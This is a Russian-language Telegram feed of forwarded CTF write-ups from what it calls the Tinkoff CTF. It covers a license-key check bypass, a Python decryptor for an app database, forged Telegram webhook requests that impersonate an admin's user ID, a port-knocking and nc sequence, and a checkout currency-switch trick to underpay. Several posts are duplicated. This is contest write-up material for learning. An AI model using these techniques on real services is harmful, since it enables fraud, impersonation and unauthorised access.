Forwarded from Вика
Проклятый старый дом
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
🔥2
Forwarded from Alexey Kirillov
Привет! Вот немножко райтапов по лиге новичков:
Культ кефира
Смотрим исходники в
Культ кефира
Смотрим исходники в
jadx, находим шифрование БД, пишем обратный расшифровщик, в полученном sqlite файле текстом лежит ключ.import hashlib
import hmac
from Crypto.Cipher import AES
import zlib
with open("MessengerDB.db_enc", "rb") as f:
data = f.read()
# From jadx
encryptionKey = bytearray([100, 97, 116, 97, 98, 97, 115, 101, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 107, 101, 121])
str2_l = int.from_bytes(data[:2], "big")
iv = data[2:18]
enc_key_gen = data[38:str2_l+2]
enc_db = data[str2_l+2:-16]
orig_db_md5 = data[-16:]
#==========
# 16 bytes of 0
# mac = AES, HmacSHA256: enc_key_gen (zeros)
# mac2 = AES, HmacSHA256: enc_key_gen (mac)
mac = hmac.new(bytearray([0 for _ in range(16)]), enc_key_gen, hashlib.sha256).digest()
mac2 = hmac.new(mac, enc_key_gen, hashlib.sha256).digest()[:16]
#==========
# mac = AES, HmacSHA256: encryptionKey (enc_key)
# gen iv
# result = AES/GCM/NoPadding: deflater(src_db) (mac, iv)
mac = hmac.new(mac2, encryptionKey, hashlib.sha256).digest()[:16]
cipher = AES.new(mac, AES.MODE_GCM, iv)
dec = cipher.decrypt(enc_db)
with open("decrypted.sqlite", "wb") as f:
f.write(zlib.decompress(dec))
Forwarded from Aslan Taibov
Привет, вот такой промпт у нас в кощей
Forwarded from Вячеслав
You have chess like field with 26 by 26 size: e.t A-Z, 1-26 coordinates. Write a python code what read two coordinates in format 'A15' as sys arguments. Do not forget: second coordinate can consists of 1 or 2 symbols, they all are valid. Do not forget to check it. Then implemet BFS to find the shortest path between them using a knight piece and print a python list of it's coordinates in same format.
Forwarded from Aslan Taibov
Автор: чел из нашей тимы который понятия не имеет что такое ctf но зато люто шарит за LLMки)
#альткапоне от @bash_dev
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
Что бы увидеть что там есть в админке, ответ:
Вижу что ничего нужного нет, шлю на следующую страницу,
Получаю то что искал,
Отправляю приглашение:
Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
Отправляю...
Ответ:
И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "/admin"
}
}Что бы увидеть что там есть в админке, ответ:
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Перезагрузить nginx",
"callback_data": "inline_button_restartnginx"
}],
[{
"text": "Атаковать example.org",
"callback_data": "inline_button_ddosexample"
}],
[{
"text": "Пинговать google.com",
"callback_data": "inline_button_pinggoogle"
}],
[{
"text": "Другие >>",
"callback_data": "inline_button_nextpage"
}]
]
},
"method": "sendMessage"
}Вижу что ничего нужного нет, шлю на следующую страницу,
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_nextpage"
}
}Получаю то что искал,
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Отправить приглашение",
"callback_data": "inline_button_sendinvite"
}]
]
},
"method": "sendMessage"
}Отправляю приглашение:
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_sendinvite"
}
}Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
{
"chat_id": 6818118044,
"text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
"method": "sendMessage"
}Отправляю...
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "800863363"
}
}Ответ:
{
"chat_id": 6818118044,
"text": "Успешно отправили приглашение.",
"method": "sendMessage"
}И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
🔥9🤨2👍1
Forwarded from Alexey Kirillov
Элементарно, Ватсон!
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
Самое сложное - правильно посчитать индексы. Приведённая инструкция дошла через час после верчения в руках двух карандашей и ленты из бумаги: лента наматывается "бесконечностью", после чего сначала пишем на одной стороне слева-направо, сверху-вниз, потом переворачиваем на 180 градусов и повторяем. Было неизвестно количество "рёбер" карандаша и "витков". Но длина текста равна произведению числа рёбер на число витков, так что можно подобрать. Сочувствую расшифровывающим руками, так как в середине был ключ-обманка с неправильным оформлением.
task = "H_S_|_e_gImt-o_tdondFS_ta_nlv0PgOSuSKGyCen3s_td_:Oc|iuM__t_aiFCeLasaea|T:d_oStoo_te-osiaL35rdf}:Mppnym|F_itnhecfF4:_npdnohtke_|_Eped_bC_Kch|enu_ig_Daendw_Ren4IFShcrEiahit0Kr_maoese_ci_e5i|cnnr_itavtseneUelHe_n_crGtgblcn-eddaCrs_i|elddgyoonpa0trrshul3G_:_iuAe:LdS_p_:h_cltr_ffie:tr|n_P_3cdS_|oeu4es_7Ekm|iG_{ce|_gCe0aumt_ES-wns:doA_v_e|crM5kr-Mlh}fucAea_e_ecp__umriHsCeese_|_aaa|_lt1dnDrGleeTml_3do_ale_CM-CnrrIpafL:dBerl:chesIWelKserfuy_auygn3_{s__|ne|_te___anmees|1rlErs|edaVA_Ji|ag-rs_rfSrcey_sCO1ellc|:iRinfamCdo_c:GertDes|3_hn7si_rC_cLn0RnpaerMt|hcou_:|S:haaY|sJiaGtscn0ees_yaf-oampb_-u_ir}_Keepsre_eym_reM_x{_sl_iRt_sTsg|ce_nteadFnM_Rs_yH_AEtlTdocJphteI4yDk__n:otOPoo1siT_tw_i?Utoeeo:nm_riH2d_u|uuen:tnubhrtn|6fhc_r_deEune:_SnK5b|a_eerRaihkCh{ntFiTiRvmsi_taDe_LCtTrsnonteohtC_sochcaim|sThn_y71hihy|ek_e_fa}rW:raet_do-thed4_icaoe|-r3Crkfr|1a|glfeFen_|efrtEp_rn"
enc = "ADGYVSPMJ147BEHZWTQNK258CFI0XUROL369"
dec = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def gen_inds(step = 3, grains_h = 3):
inds = []
for j in range(step):
common = j
for i in range(grains_h):
inds.append(common + i * step)
for i in range(grains_h):
inds.append(common + 2 * grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + grains_h * step + (grains_h - 1 - i) * step)
for i in range(grains_h):
inds.append(common + 3 * grains_h * step + i * step)
return inds
def encode(dec, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
return "".join([dec[j] for j in inds])
def decode(enc, step = 3, grains_h = 3):
inds = gen_inds(step, grains_h)
res = ["?" for _ in range(4 * step * grains_h)]
for i, j in enumerate(inds):
res[j] = enc[i]
return "".join(res)
# Test example
# print(encode(dec) == enc)
# print(decode(enc) == dec)
# 864 = 2 * 2 * 2 * 2 * 2 * 3 * 3 * 3
# Text must be divided by 4 part, so we just try every 2 * 2 * 2 * 3 * 3 * 3 to 2 numbers
possible_step = [27]#[2, 3, 4, 6, 8, 9, 12, 18, 24, 27, 36, 54, 72, 108] # divisors of 216
for step in possible_step:
print(step, decode(task, step, 216 // step))🔥5🤡3
Forwarded from HiMiC
Золотая Лопа
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
😱2👍1
Forwarded from Юлия Шульгина
пятницемобиль: Переводишь себя на доллары. Добавляешь дорогую поездку в корзину. Открываешь корзину в новой вкладке, делаешь чекаут. В первой вкладке переводишь себя на рубли. Во второй вкладке нажимаешь "оплатить"
🤩1
Forwarded from Юлия Шульгина
репкозиторий: загружаем pdf в онлайн-конвертер в редактируемые форматы (я перегнала в pptx), убираем красную "наклеечку" и видим код на иллюстрации (в разделе, где про настройку для сбора конкретных плодов)
Forwarded from HiMiC
Золотая Лопа
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Авторы решения: @himic5 и @leonideath
Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp
открывается порт 11111
коннектимся к нему
nc 45.82.152.190 11111
Вводим токен команды.
Получаем флаг.
Авторы решения: @himic5 и @leonideath
решения задач по tinkoff CTF
#альткапоне от @bash_dev Имею 2 команды, /start - Дает меню с одной кнопкой "Да" /admin - "Меню администратора доступно только @exmafiaguy" Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp…
автор подправил текст и формат, спасибо ему